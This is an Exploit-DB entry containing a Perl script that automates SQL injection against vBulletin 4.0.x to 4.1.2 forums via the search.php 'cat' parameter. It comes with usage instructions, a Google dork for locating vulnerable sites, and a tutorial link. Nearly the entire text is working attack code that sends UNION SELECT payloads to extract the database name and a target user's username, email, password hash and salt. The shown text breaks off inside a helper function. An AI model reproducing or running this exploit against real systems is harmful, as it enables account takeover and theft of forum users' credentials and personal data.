Exploit-DB #34526
Description: vBulletin 4.0.x < 4.1.2 - 'search.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2014-09-03
Author: D35m0nd142

Exploit:
# vBulletin 4.0.x => 4.1.2 AUTOMATIC SQL Injection exploit
# Author: D35m0nd142, <d35m0nd142@gmail.com>
# Google Dork: inurl:search.php?search_type=1
# Date: 02/09/2014
# Vendor Homepage: http://www.vbulletin.com/
# Tested on: vBulletin 4.1.2
# Usage: perl exploit.pl <http://target> <valid username> <valid passwd> <existent group> <userid to hack>
# Tutorial video: https://www.youtube.com/watch?v=_jec3nkoYFc
# Vulnerability discovered by: D4rkB1t

#!/usr/bin/env perl
use LWP::UserAgent;
use HTTP::Cookies;

$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
$ua->cookie_jar({});
$username = "username) from user where userid=$ARGV[4]#";
$email = "email) from user where userid=$ARGV[4]#";
$[CREDENTIAL_REDACTED]) from user where userid=$ARGV[4]#";
$salt = "salt) from user where userid=$ARGV[4]#";
@tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);

sub request
{
    $req = HTTP::Request->new(GET => $ARGV[0]);
    my $res1 = $ua->request($req);
    open(FILE01, "> vbloginout.txt"); print FILE01 $res1->content; close(FILE01);
    my $token = dumping("vbloginout.txt","token");
    if($token eq '' || $token eq 'guest')
    {
        print "SECURITYTOKEN not found!\n";
        $token = "[PII_REDACTED]-e58c864fcc4e1ec7e23d31439af4b8cc181b789f"; # HERE
        print "Attempting using $token as token.\n";
    }
    else
    {
        print "SECURITYTOKEN FOUND: $token\n";
    }
    
    print "Sending exploit...\n\n";
    sleep(1);
    my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php?search_type=1');
    $req->content_type('application/x-www-form-urlencoded');
    
    foreach $tofind (@tofinds)
    {
        $post = "query=$ARGV[3]&titleonly=0&dosearch=Search+Now&memberless=0&memberlimit=&discussionless=0&discussionlimit=&messageless=0&messagelimit=&pictureless=0&picturelimit=&sortby=dateline&order=descending&group_filter_date_lteq_month=0&group_filter_date_lteq_day=1&group_filter_date_lteq_year=&group_filter_date_gteq_month=0&group_filter_date_gteq_day=1&group_filter_date_gteq_year=&saveprefs=1&s=&securitytoken=$token&dofilter=1&do=process&searchfromtype=vBForum%3ASocialGroup&contenttypeid=7&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
        $req->content($post);
        my $res = $ua->request($req);
        open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
        my $location = dumping("vbloc.txt","loc");
        
        if($location !~ /$ARGV[0]/)
        {
            banner();
            break;
        }

        my $req1 = HTTP::Request->new(GET => $location);
        $req1->content_type('application/x-www-form-urlencoded');
        my $res1 = $ua->request($req1);
        open(FILE,"> vbout.txt");
        print FILE $res1->content;
        close(FILE);
        printout($tofind);
        dumping("vbout.txt","sql");
        print "\n";
    }
    print "\n";
    print "Do you want to run the second exploitation way? (y/n) -> ";
    $want = <STDIN>;
    if($want =~ /y/)
    {
        second_request($token);
    }
}

sub second_request
{
    my ($token) = @_ ;
    print "Attempting using the second exploitation way..\n\n";
    sleep(2);
    my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php');
    $req->content_type('application/x-www-form-urlencoded');
    
    foreach $tofind (@tofinds)
    {
        $post = "type%5B%5D=7&query=$ARGV[3]&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
        $req->content($post);
        my $res = $ua->request($req);
        open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
        my $location = dumping("vbloc.txt","loc");
        
        if($location !~ /$ARGV[0]/)
        {
            banner();
            exit(1);
        }
        
        my $req1 = HTTP::Request->new(GET => $location);
        $req1->content_type('application/x-www-form-urlencoded');
        my $res1 = $ua->request($req1);
        open(FILE,"> vbout.txt");
        print FILE $res1->content;
        close(FILE);
        printout($tofind);
        dumping("vbout.txt","sql");
        print "\n";
    }
    print "\n";
}

sub banner
{
    print "[-] Exploit not successful!\n";
    if(token eq "[PII_REDACTED]-55b86c8f60ad36a41dedff21b06bdc8c9d949303")
    {
        print "[i] Try to log in and log out from other any other sessions and run the exploit again.\n\n";
    }
}

sub printout
{
    my ($tofind) = @_ ;
    if($tofind =~ /username/)
    {
        print "[+] User($ARGV[4]) Username: ";
    }
    elsif($tofind =~ /password/)
    {
        print "[+] User($ARGV[4]) Password: ";
    }
    elsif($tofind =~ /database/)
    {
        print "[+] Database Name: ";
    }
    elsif($tofind =~ /email/)
    {
        print "[+] User($ARGV[4]) Email: ";
    }
    elsif($tofind =~ /salt/)
    {
        print "[+] User($ARGV[4]) Salt: ";
    }
}

sub dumping
{
    my ($filename, $par) = @_ ;
    open(MYFILE,"< ", $filename);
    my @words;
    while(<MYFILE>)
    {
        chomp;
        @words = split(' ');
        
        if($par eq "token")
        {
            my $ctrl = "n";
            foreach my $word (@words)
            {
                if($word =~ /SECURITYTOKEN/)
                {
                    $ctrl = "y";
                }
                if($ctrl eq "y" and $word !~ /=/ and $word !~ /SECURITYTOKEN/)
                {
                    $word =~ tr/;//d; $word =~ tr/\"//d;
                    return $word;
                    break;
                }
            }
        }